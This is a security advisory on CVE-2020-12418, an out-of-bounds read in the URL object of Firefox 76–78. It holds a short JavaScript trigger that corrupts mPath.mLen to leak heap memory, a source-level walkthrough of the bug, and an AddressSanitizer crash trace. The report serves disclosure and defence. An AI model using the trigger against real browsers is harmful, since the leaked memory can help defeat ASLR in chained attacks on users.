Talos Vulnerability Report

TALOS-2020-1088

Mozilla Firefox URL mPath Information Disclosure Vulnerability

July 1, 2020
CVE Number

CVE-2020-12418

Summary

An information disclosure vulnerability exists in the URL mPath functionality of Mozilla Firefox Firefox Nightly Version 78.0a1 x64 and Firefox Release Version 76.0.2 x64. A specially crafted URL object can cause an out-of-bounds read. An attacker can visit a webpage to trigger this vulnerability.

Tested Versions

Mozilla Firefox Firefox Nightly Version 78.0a1 x64
Mozilla Firefox Firefox Release Version 76.0.2 x64

Product URLs

https://www.mozilla.org/en-US/firefox/new

CVSSv3 Score

6.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

CWE

CWE-125 - Out-of-bounds Read

Details

Mozilla Firefox is one of the most popular web browsers on the world available for a variety of the different platforms : Windows, Linux, OSX, Android and more. Its active development ensure support for the newest web technologies like HTML5 or CSS3.

The vulnerability is related with the URL object. A malicious web page using a proper URL object state can leak the browser memory that consequently can help an attacker in bypassing ASLR and executing arbitrary code. JavaScript code settings proper state in URL object which will lead to memory leak, looks in the following way :

Line 1   urlObject = new URL("http://www.cisco.com");
Line 2   
Line 3   //alloc leakSize
Line 4   leakSize  = 1330;    
Line 5 
Line 6   urlObject.search = "A".repeat(10);  
Line 7   urlObject.host   = "B".repeat(leakSize);  
Line 8   
Line 9   //set mPath.mLen < 0 
Line 10  urlObject.pathname = "";  
Line 11  urlObject.search = "X";  
Line 12  urlObject.host   = "Y";
Line 13  
Line 14  //trigger - copy(...,...,leakSize)
Line 15  urlObject.search = "C".repeat(20);    

To better understand what is happening with an internal state of the urlObject and especially with mPath field, an execution of an “instrumented” version of the above code is shown below:

Line 1 		urlObject = new URL("http://www.cisco.com");
Line 2 		http://www.cisco.com/
Line 3 		mPath pos : 0x14 len : 0x1
Line 4 	
Line 5 		urlObject.search = "A".repeat(10);
Line 6 		$2 = "mozilla::net::nsStandardURL::SetQueryWithEncoding"
Line 7 		http://www.cisco.com/?AAAAAAAAAA
Line 8 		mPath pos : 0x14 len : 0xc
Line 9 	
Line 10		urlObject.host   = "B".repeat(50);
Line 11		$3 = "mozilla::net::nsStandardURL::SetHostPort"
Line 12		http://bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb/?AAAAAAAAAA
Line 13		mPath pos : 0x39 len : 0xc
Line 14	
Line 17	
Line 18		urlObject.pathname = "";  
Line 19		$4 = "mozilla::net::nsStandardURL::SetFilePath"
Line 20		http://bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb/?AAAAAAAAAA
Line 21		mPath pos : 0x39 len : 0x1
Line 22	
Line 23		urlObject.search = "X";
Line 24		$5 = "mozilla::net::nsStandardURL::SetQueryWithEncoding"
Line 25		http://bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb/?X
Line 26		mPath pos : 0x39 len : 0xfffffff8
Line 27	
Line 28		urlObject.host   = "Y";
Line 29		$6 = "mozilla::net::nsStandardURL::SetHostPort"
Line 30		http://y/?X
Line 31		mPath pos : 0x39 len : 0xfffffff8
Line 32	
Line 33		urlObject.search = "C".repeat(20);
Line 34		$7 = "mozilla::net::nsStandardURL::SetQueryWithEncoding"

Before we will continue with our analysis let’s remember the syntax of a URL as defined by the standard :

[scheme://][username[:password]@]host[:port]/path[?query_string][#ref]	

Also a visualization of the urlObject can help to understand its’ further state. The following visualization represents urlObject after execution of code at line 10.

                                           mPos.mLen
                                       +--------------+
                                       |              |
 +----------------------------------------------------+
 |                                     |              |
 |         http://bbb(...)             | /?AAAAAAAAAA |
 |                                     |              |
 +----------------------------------------------------+
                                       ^
                                       |
                                       |
                                       +
                                  mPath.mPos    

                    Figure 1.  

where the mPath.mPos = 0x39 and mPath.mLen = 0xC. Next , code executed at line 18 changes the value of mPath.mLen to 1. mPos field is untouched. The situation becomes more interesting when we execute code at line 23 after which the mPath.mLen field value is equal to -8 [0xfffffff8]. Let’s take a look at how that happened. To understand this we need to dive into method responsible of setting search field in URL object , which is SetQueryWithEncoding:

			netwerk/base/nsStandardURL.cpp

			nsresult nsStandardURL::SetQueryWithEncoding(const nsACString& input,
														 const Encoding* encoding) {
			  const nsPromiseFlatCString& flat = PromiseFlatCString(input);
			  const char* query = flat.get();
			  
			  (...)
	  
Line 2789	  int32_t shift = ReplaceSegment(mQuery.mPos, mQuery.mLen, query, queryLen);
Line 2790
Line 2791	  if (shift) {
Line 2792		mQuery.mLen = queryLen;
Line 2793		mPath.mLen += shift;
Line 2794		ShiftFromRef(shift);
Line 2795	  }
Line 2796	  return NS_OK;
Line 2797	}  

At line 2789 the difference between the length of the current query string and one we want to set is calculated. After the calculation of the shift variable, it has the value -9 because len("X") - len("A"*10). Everything would be ok and the space dedicated for a query string would shrink from 10 to 1, but using the code:

Line 18		urlObject.pathname = "";  

we change mPath.mLen value to 1, which now after adding shift variable at line 2793 equals 0xfffffff8. mPath.mLen field value being below zero will have significant consequences for further code behavior.

Executing code:

Line 28		urlObject.host   = "Y";

we change the host part of the url which should also change the mPath.mPos field , but that did not happen:

Line 31		mPath pos : 0x39 len : 0xfffffff8

Let’s take a glance into the host setter SetHost method to see why that situation occurred:

			netwerk/base/nsStandardURL.cpp
			nsresult nsStandardURL::SetHost(const nsACString& input) {
			  const nsPromiseFlatCString& hostname = PromiseFlatCString(input);
			  
			  (...)
	  
Line 1979  int32_t shift = ReplaceSegment(mHost.mPos, mHost.mLen, host, len);
Line 1980
Line 1981  if (shift) {
Line 1982    mHost.mLen = len;
Line 1983    mAuthority.mLen += shift;
Line 1984    ShiftFromPath(shift);
Line 1985  }

Again the difference between the current host string and the one being set is calculated. The shift operation which should change mPath.mPos value takes place inside ShiftFromPath:

			netwerk/base/nsStandardURL.cpp

Line 1146	#define SHIFT_FROM(name, what)             \
Line 1147	  void nsStandardURL::name(int32_t diff) { \
Line 1148		if (!diff) return;                     \
Line 1149		if (what.mLen >= 0) {                  \
Line 1150		  CheckedInt<int32_t> pos = what.mPos; \
Line 1151		  pos += diff;                         \
Line 1152		  MOZ_ASSERT(pos.isValid());           \
Line 1153		  what.mPos = pos.value();             \
Line 1154		}
Line 1155
Line 1156	#define SHIFT_FROM_NEXT(name, what, next) \
Line 1157	  SHIFT_FROM(name, what)                  \
Line 1158	  next(diff);                             \
Line 1159	  }
Line 1160
Line 1161	#define SHIFT_FROM_LAST(name, what) \
Line 1162	  SHIFT_FROM(name, what)            \
Line 1163	  }
Line 1164
Line 
Line 1169	SHIFT_FROM_NEXT(ShiftFromPath, mPath, ShiftFromFilepath)

At line 1153 we see code which should update mPos field but that wont happen because our mLen field value is -8 what does not pass constraint at line 1149. As a result, the memory layout of our urlObject currently looks like this:

+-----------------+-------------------------------------------------+
|                 |                                                 |
|   http://y/?X   |                 RANDOM_MEMORY                   |
|                 |                                                 |
+-----------------+-------------------------------------------------+
                                                                    ^
                                                                    |
                                                                    |
                                                                    +
                                                               mPath.mPos
                                                               
                            Figure 2.

As we can see mPath.mPos points clearly outside the memory occupied by the URL string and no longer points to the place where the url path starts. In this situation, execution of the next line :

Line 33		urlObject.search = "C".repeat(20);

causes a leak of memory. We find the answer inside search field setter handler:

	netwerk/base/nsStandardURL.cpp
	nsresult nsStandardURL::SetQueryWithEncoding(const nsACString& input, const Encoding* encoding) {													 
			(...)
Line 2737 		if (mPath.mLen < 0) return SetPathQueryRef(flat);		

We pass the constraint at line 2737 and SetPathQueryRef is executed:

			netwerk/base/nsStandardURL.cpp
			nsresult nsStandardURL::SetPathQueryRef(const nsACString& input) {
		
Line 2064	if (!path.IsEmpty()) {
Line 2065	nsAutoCString spec;
Line 2066
Line 2067	spec.Assign(mSpec.get(), mPath.mPos);
Line 2068	if (path.First() != '/') spec.Append('/');
Line 2069	spec.Append(path);
Line 2070
Line 2071	return SetSpecInternal(spec);
Line 2072	}		

Here, a new string object with the URL string is created at line 2065. First, the old URL string is copied from the beginning to the place pointed by mPath.mPos at line 2067. Now we clearly see place where the random memory will be leaked, because as shown in Figure 2. mPos points way behind the real end of an url string end.

The leaked memory presented by code above can be used to bypass ASLR and with a combination with other vulnerability might allow an attacker to gain arbitrary code execution.

Crash Information

==61400==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60300046b9c0 at pc 0x55a402c80f6a bp 0x7ffcb6d32410 sp 0x7ffcb6d31bd8
READ of size 1337 at 0x60300046b9c0 thread T0 (file:// Content)
	#0 0x55a402c80f69 in __asan_memcpy /builds/worker/fetches/llvm-project/llvm/projects/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22:3
	#1 0x7fe0b9c225e1 in copy /builds/worker/workspace/obj-build/dist/include/nsCharTraits.h:314:9
	#2 0x7fe0b9c225e1 in nsTSubstring<char>::Assign(char const*, unsigned int, std::nothrow_t const&) /builds/worker/checkouts/gecko/xpcom/string/nsTSubstring.cpp:413:3
	#3 0x7fe0b9c0e447 in nsTSubstring<char>::Assign(char const*, unsigned int) /builds/worker/checkouts/gecko/xpcom/string/nsTSubstring.cpp:381:7
	#4 0x7fe0ba19f266 in mozilla::net::nsStandardURL::SetPathQueryRef(nsTSubstring<char> const&) /builds/worker/checkouts/gecko/netwerk/base/nsStandardURL.cpp:2067:10
	#5 0x7fe0ba1a5b31 in mozilla::net::nsStandardURL::SetQueryWithEncoding(nsTSubstring<char> const&, mozilla::Encoding const*) /builds/worker/checkouts/gecko/netwerk/base/nsStandardURL.cpp:2737:30
	#6 0x7fe0c16219db in SetQuery /builds/worker/workspace/obj-build/dist/include/nsIURIMutator.h:568:25
	#7 0x7fe0c16219db in mozilla::dom::URL::SetSearchInternal(nsTSubstring<char16_t> const&) /builds/worker/checkouts/gecko/dom/url/URL.cpp:389:18
	#8 0x7fe0c162183d in mozilla::dom::URL::SetSearch(nsTSubstring<char16_t> const&) /builds/worker/checkouts/gecko/dom/url/URL.cpp:147:3
	#9 0x7fe0bea90f4f in mozilla::dom::URL_Binding::set_search(JSContext*, JS::Handle<JSObject*>, void*, JSJitSetterCallArgs) /builds/worker/workspace/obj-build/dom/bindings/URLBinding.cpp:759:24
	#10 0x7fe0bf5ff2d1 in bool mozilla::dom::binding_detail::GenericSetter<mozilla::dom::binding_detail::NormalThisPolicy>(JSContext*, unsigned int, JS::Value*) /builds/worker/checkouts/gecko/dom/bindings/BindingUtils.cpp:3151:8
	#11 0x7fe0c5b20fc0 in CallJSNative /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:493:13
	#12 0x7fe0c5b20fc0 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:585:12
	#13 0x7fe0c5b2320d in InternalCall(JSContext*, js::AnyInvokeArgs const&, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:648:10
	#14 0x7fe0c5b235a0 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:665:8
	#15 0x7fe0c5b252cb in js::CallSetter(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::Handle<JS::Value>) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:803:10
	#16 0x7fe0c61061c1 in SetExistingProperty(JSContext*, JS::Handle<JS::PropertyKey>, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::Handle<js::NativeObject*>, JS::Handle<JS::PropertyResult>, JS::ObjectOpResult&) /builds/worker/checkouts/gecko/js/src/vm/NativeObject.cpp:2809:8
	#17 0x7fe0c61050d0 in bool js::NativeSetProperty<(js::QualifiedBool)1>(JSContext*, JS::Handle<js::NativeObject*>, JS::Handle<JS::PropertyKey>, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::ObjectOpResult&) /builds/worker/checkouts/gecko/js/src/vm/NativeObject.cpp:2838:14
	#18 0x7fe0c5b3cdf0 in js::SetProperty(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::PropertyKey>, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::ObjectOpResult&) /builds/worker/checkouts/gecko/js/src/vm/ObjectOperations-inl.h:283:10
	#19 0x7fe0c5b03485 in SetPropertyOperation /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:277:10
	#20 0x7fe0c5b03485 in Interpret(JSContext*, js::RunState&) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:3071:12
	#21 0x7fe0c5aeb205 in js::RunScript(JSContext*, js::RunState&) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:465:10
	#22 0x7fe0c5b210ac in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:620:13
	#23 0x7fe0c5b2320d in InternalCall(JSContext*, js::AnyInvokeArgs const&, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:648:10
	#24 0x7fe0c5b235a0 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:665:8
	#25 0x7fe0c5cbf2e2 in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/checkouts/gecko/js/src/jsapi.cpp:2840:10
	#26 0x7fe0bf2039e9 in mozilla::dom::EventHandlerNonNull::Call(mozilla::dom::BindingCallContext&, JS::Handle<JS::Value>, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&) /builds/worker/workspace/obj-build/dom/bindings/EventHandlerBinding.cpp:276:37
	#27 0x7fe0bfd34d71 in void mozilla::dom::EventHandlerNonNull::Call<nsCOMPtr<mozilla::dom::EventTarget> >(nsCOMPtr<mozilla::dom::EventTarget> const&, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&, char const*, mozilla::dom::CallbackObject::ExceptionHandling, JS::Realm*) /builds/worker/workspace/obj-build/dist/include/mozilla/dom/EventHandlerBinding.h:367:12
	#28 0x7fe0bfd32f20 in mozilla::JSEventHandler::HandleEvent(mozilla::dom::Event*) /builds/worker/checkouts/gecko/dom/events/JSEventHandler.cpp:201:12
	#29 0x7fe0bfcf7aae in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/checkouts/gecko/dom/events/EventListenerManager.cpp:1088:22
	#30 0x7fe0bfcf913e in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*, bool) /builds/worker/checkouts/gecko/dom/events/EventListenerManager.cpp:1280:17
	#31 0x7fe0bfce787e in mozilla::EventTargetChainItem::HandleEvent(mozilla::EventChainPostVisitor&, mozilla::ELMCreationDetector&) /builds/worker/checkouts/gecko/dom/events/EventDispatcher.cpp:356:17
	#32 0x7fe0bfce6083 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/checkouts/gecko/dom/events/EventDispatcher.cpp:558:16
	#33 0x7fe0bfcea3df in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /builds/worker/checkouts/gecko/dom/events/EventDispatcher.cpp:1055:11
	#34 0x7fe0c217f782 in mozilla::PresShell::EventHandler::DispatchEventToDOM(mozilla::WidgetEvent*, nsEventStatus*, nsPresShellEventCB*) /builds/worker/checkouts/gecko/layout/base/PresShell.cpp:8521:7
	#35 0x7fe0c217c9f4 in mozilla::PresShell::EventHandler::DispatchEvent(mozilla::EventStateManager*, mozilla::WidgetEvent*, bool, nsEventStatus*, nsIContent*) /builds/worker/checkouts/gecko/layout/base/PresShell.cpp:8067:7
	#36 0x7fe0c2175515 in mozilla::PresShell::EventHandler::HandleEventWithCurrentEventInfo(mozilla::WidgetEvent*, nsEventStatus*, bool, nsIContent*) /builds/worker/checkouts/gecko/layout/base/PresShell.cpp:7999:17
	#37 0x7fe0c217a269 in mozilla::PresShell::EventHandler::HandleEventWithTarget(mozilla::WidgetEvent*, nsIFrame*, nsIContent*, nsEventStatus*, bool, nsIContent**, nsIContent*) /builds/worker/checkouts/gecko/layout/base/PresShell.cpp:7907:17
	#38 0x7fe0bfc8676d in HandleEventWithTarget /builds/worker/workspace/obj-build/dist/include/mozilla/PresShell.h:650:25
	#39 0x7fe0bfc8676d in mozilla::EventStateManager::InitAndDispatchClickEvent(mozilla::WidgetMouseEvent*, nsEventStatus*, mozilla::EventMessage, mozilla::PresShell*, nsIContent*, AutoWeakFrame, bool, nsIContent*) /builds/worker/checkouts/gecko/dom/events/EventStateManager.cpp:4961:29
	#40 0x7fe0bfc86dbf in mozilla::EventStateManager::DispatchClickEvents(mozilla::PresShell*, mozilla::WidgetMouseEvent*, nsEventStatus*, nsIContent*, nsIContent*) /builds/worker/checkouts/gecko/dom/events/EventStateManager.cpp:5063:17
	#41 0x7fe0bfc80a11 in mozilla::EventStateManager::PostHandleMouseUp(mozilla::WidgetMouseEvent*, nsEventStatus*, nsIContent*) /builds/worker/checkouts/gecko/dom/events/EventStateManager.cpp:5006:17
	#42 0x7fe0bfc7d6fa in mozilla::EventStateManager::PostHandleEvent(nsPresContext*, mozilla::WidgetEvent*, nsIFrame*, nsEventStatus*, nsIContent*) /builds/worker/checkouts/gecko/dom/events/EventStateManager.cpp:3321:18
	#43 0x7fe0c217cc0a in mozilla::PresShell::EventHandler::DispatchEvent(mozilla::EventStateManager*, mozilla::WidgetEvent*, bool, nsEventStatus*, nsIContent*) /builds/worker/checkouts/gecko/layout/base/PresShell.cpp:8091:30
	#44 0x7fe0c2175515 in mozilla::PresShell::EventHandler::HandleEventWithCurrentEventInfo(mozilla::WidgetEvent*, nsEventStatus*, bool, nsIContent*) /builds/worker/checkouts/gecko/layout/base/PresShell.cpp:7999:17
	#45 0x7fe0c2174876 in mozilla::PresShell::EventHandler::HandleEventUsingCoordinates(nsIFrame*, mozilla::WidgetGUIEvent*, nsEventStatus*, bool) /builds/worker/checkouts/gecko/layout/base/PresShell.cpp:6936:30
	#46 0x7fe0c21729ba in mozilla::PresShell::EventHandler::HandleEvent(nsIFrame*, mozilla::WidgetGUIEvent*, bool, nsEventStatus*) /builds/worker/checkouts/gecko/layout/base/PresShell.cpp:6741:12
	#47 0x7fe0c2171370 in mozilla::PresShell::HandleEvent(nsIFrame*, mozilla::WidgetGUIEvent*, bool, nsEventStatus*) /builds/worker/checkouts/gecko/layout/base/PresShell.cpp:6666:23
	#48 0x7fe0c1ba9787 in nsViewManager::DispatchEvent(mozilla::WidgetGUIEvent*, nsView*, nsEventStatus*) /builds/worker/checkouts/gecko/view/nsViewManager.cpp:750:18
	#49 0x7fe0c1ba93e5 in nsView::HandleEvent(mozilla::WidgetGUIEvent*, bool) /builds/worker/checkouts/gecko/view/nsView.cpp:1133:9
	#50 0x7fe0c1c2cec9 in mozilla::widget::PuppetWidget::DispatchEvent(mozilla::WidgetGUIEvent*, nsEventStatus&) /builds/worker/checkouts/gecko/widget/PuppetWidget.cpp:381:37
	#51 0x7fe0bcde7249 in mozilla::layers::APZCCallbackHelper::DispatchWidgetEvent(mozilla::WidgetGUIEvent&) /builds/worker/checkouts/gecko/gfx/layers/apz/util/APZCCallbackHelper.cpp:458:21
	#52 0x7fe0c138401b in DispatchWidgetEventViaAPZ /builds/worker/checkouts/gecko/dom/ipc/BrowserChild.cpp:1715:10
	#53 0x7fe0c138401b in mozilla::dom::BrowserChild::HandleRealMouseButtonEvent(mozilla::WidgetMouseEvent const&, mozilla::layers::ScrollableLayerGuid const&, unsigned long const&) /builds/worker/checkouts/gecko/dom/ipc/BrowserChild.cpp:1654:3
	#54 0x7fe0c13834b3 in mozilla::dom::BrowserChild::ProcessPendingCoalescedMouseDataAndDispatchEvents() /builds/worker/checkouts/gecko/dom/ipc/BrowserChild.cpp:1500:7
	#55 0x7fe0c13865d8 in mozilla::dom::BrowserChild::RecvRealMouseButtonEvent(mozilla::WidgetMouseEvent const&, mozilla::layers::ScrollableLayerGuid const&, unsigned long const&) /builds/worker/checkouts/gecko/dom/ipc/BrowserChild.cpp:1618:5
	#56 0x7fe0bbd5ba21 in mozilla::dom::PBrowserChild::OnMessageReceived(IPC::Message const&) /builds/worker/workspace/obj-build/ipc/ipdl/PBrowserChild.cpp:5086:56
	#57 0x7fe0bb34e077 in mozilla::dom::PContentChild::OnMessageReceived(IPC::Message const&) /builds/worker/workspace/obj-build/ipc/ipdl/PContentChild.cpp:8484:32
	#58 0x7fe0bb08e7a0 in mozilla::ipc::MessageChannel::DispatchAsyncMessage(mozilla::ipc::ActorLifecycleProxy*, IPC::Message const&) /builds/worker/checkouts/gecko/ipc/glue/MessageChannel.cpp:2186:25
	#59 0x7fe0bb08a1ba in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /builds/worker/checkouts/gecko/ipc/glue/MessageChannel.cpp:2110:9
	#60 0x7fe0bb08bfea in mozilla::ipc::MessageChannel::RunMessage(mozilla::ipc::MessageChannel::MessageTask&) /builds/worker/checkouts/gecko/ipc/glue/MessageChannel.cpp:1958:3
	#61 0x7fe0bb08cb58 in mozilla::ipc::MessageChannel::MessageTask::Run() /builds/worker/checkouts/gecko/ipc/glue/MessageChannel.cpp:1989:13
	#62 0x7fe0b9e546a5 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/checkouts/gecko/xpcom/threads/nsThread.cpp:1211:14
	#63 0x7fe0b9e5e6fc in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/checkouts/gecko/xpcom/threads/nsThreadUtils.cpp:501:10
	#64 0x7fe0bb0979d4 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/checkouts/gecko/ipc/glue/MessagePump.cpp:109:5
	#65 0x7fe0baf9bae1 in RunInternal /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:315:10
	#66 0x7fe0baf9bae1 in RunHandler /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:308:3
	#67 0x7fe0baf9bae1 in MessageLoop::Run() /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:290:3
	#68 0x7fe0c1c559c7 in nsBaseAppShell::Run() /builds/worker/checkouts/gecko/widget/nsBaseAppShell.cpp:137:27
	#69 0x7fe0c58bc52f in XRE_RunAppShell() /builds/worker/checkouts/gecko/toolkit/xre/nsEmbedFunctions.cpp:909:20
	#70 0x7fe0baf9bae1 in RunInternal /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:315:10
	#71 0x7fe0baf9bae1 in RunHandler /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:308:3
	#72 0x7fe0baf9bae1 in MessageLoop::Run() /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:290:3
	#73 0x7fe0c58bbbd9 in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/checkouts/gecko/toolkit/xre/nsEmbedFunctions.cpp:740:34
	#74 0x55a402cb3fed in content_process_main(mozilla::Bootstrap*, int, char**) /builds/worker/checkouts/gecko/browser/app/../../ipc/contentproc/plugin-container.cpp:56:28
	#75 0x55a402cb4427 in main /builds/worker/checkouts/gecko/browser/app/nsBrowserApp.cpp:303:18
	#76 0x7fe0dceacb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
	#77 0x55a402c08b19 in _start (/home/icewall/tools/fuzzing/browsers/firefox/firefox+0x59b19)

0x60300046b9c0 is located 0 bytes to the right of 32-byte region [0x60300046b9a0,0x60300046b9c0)
allocated by thread T0 (file:// Content) here:
	#0 0x55a402c81afd in malloc /builds/worker/fetches/llvm-project/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cpp:145:3
	#1 0x7fe0b9c11cbd in Alloc /builds/worker/checkouts/gecko/xpcom/string/nsSubstring.cpp:206:42
	#2 0x7fe0b9c11cbd in nsTSubstring<char>::StartBulkWriteImpl(unsigned int, unsigned int, bool, unsigned int, unsigned int, unsigned int) /builds/worker/checkouts/gecko/xpcom/string/nsTSubstring.cpp:203:32
	#3 0x7fe0b9c28f6e in nsTSubstring<char>::ReplacePrepInternal(unsigned int, unsigned int, unsigned int, unsigned int) /builds/worker/checkouts/gecko/xpcom/string/nsTSubstring.cpp:304:43
	#4 0x7fe0b9c24193 in nsTSubstring<char>::ReplacePrep(unsigned int, unsigned int, unsigned int) /builds/worker/checkouts/gecko/xpcom/string/nsTSubstring.cpp:292:10
	#5 0x7fe0b9c247a8 in nsTSubstring<char>::Replace(unsigned int, unsigned int, char const*, unsigned int, std::nothrow_t const&) /builds/worker/checkouts/gecko/xpcom/string/nsTSubstring.cpp:648:13
	#6 0x7fe0b9c24538 in nsTSubstring<char>::Replace(unsigned int, unsigned int, char const*, unsigned int) /builds/worker/checkouts/gecko/xpcom/string/nsTSubstring.cpp:623:8
	#7 0x7fe0ba192648 in Replace /builds/worker/workspace/obj-build/dist/include/nsTSubstring.h:539:5
	#8 0x7fe0ba192648 in mozilla::net::nsStandardURL::ReplaceSegment(unsigned int, unsigned int, char const*, unsigned int) /builds/worker/checkouts/gecko/netwerk/base/nsStandardURL.cpp:1009:13
	#9 0x7fe0ba19e03b in mozilla::net::nsStandardURL::SetHost(nsTSubstring<char> const&) /builds/worker/checkouts/gecko/netwerk/base/nsStandardURL.cpp:1979:19
	#10 0x7fe0ba19d002 in mozilla::net::nsStandardURL::SetHostPort(nsTSubstring<char> const&) /builds/worker/checkouts/gecko/netwerk/base/nsStandardURL.cpp:1864:17
	#11 0x7fe0c16248cb in SetHostPort /builds/worker/workspace/obj-build/dist/include/nsIURIMutator.h:514:25
	#12 0x7fe0c16248cb in mozilla::dom::URL::SetHost(nsTSubstring<char16_t> const&) /builds/worker/checkouts/gecko/dom/url/URL.cpp:269:18
	#13 0x7fe0bea8f54f in mozilla::dom::URL_Binding::set_host(JSContext*, JS::Handle<JSObject*>, void*, JSJitSetterCallArgs) /builds/worker/workspace/obj-build/dom/bindings/URLBinding.cpp:439:24
	#14 0x7fe0bf5ff2d1 in bool mozilla::dom::binding_detail::GenericSetter<mozilla::dom::binding_detail::NormalThisPolicy>(JSContext*, unsigned int, JS::Value*) /builds/worker/checkouts/gecko/dom/bindings/BindingUtils.cpp:3151:8
	#15 0x7fe0c5b20fc0 in CallJSNative /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:493:13
	#16 0x7fe0c5b20fc0 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:585:12
	#17 0x7fe0c5b2320d in InternalCall(JSContext*, js::AnyInvokeArgs const&, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:648:10
	#18 0x7fe0c5b235a0 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:665:8
	#19 0x7fe0c5b252cb in js::CallSetter(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::Handle<JS::Value>) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:803:10
	#20 0x7fe0c61061c1 in SetExistingProperty(JSContext*, JS::Handle<JS::PropertyKey>, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::Handle<js::NativeObject*>, JS::Handle<JS::PropertyResult>, JS::ObjectOpResult&) /builds/worker/checkouts/gecko/js/src/vm/NativeObject.cpp:2809:8
	#21 0x7fe0c61050d0 in bool js::NativeSetProperty<(js::QualifiedBool)1>(JSContext*, JS::Handle<js::NativeObject*>, JS::Handle<JS::PropertyKey>, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::ObjectOpResult&) /builds/worker/checkouts/gecko/js/src/vm/NativeObject.cpp:2838:14
	#22 0x7fe0c5b3cdf0 in js::SetProperty(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::PropertyKey>, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::ObjectOpResult&) /builds/worker/checkouts/gecko/js/src/vm/ObjectOperations-inl.h:283:10
	#23 0x7fe0c5b03485 in SetPropertyOperation /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:277:10
	#24 0x7fe0c5b03485 in Interpret(JSContext*, js::RunState&) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:3071:12
	#25 0x7fe0c5aeb205 in js::RunScript(JSContext*, js::RunState&) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:465:10
	#26 0x7fe0c5b210ac in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:620:13
	#27 0x7fe0c5b2320d in InternalCall(JSContext*, js::AnyInvokeArgs const&, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:648:10
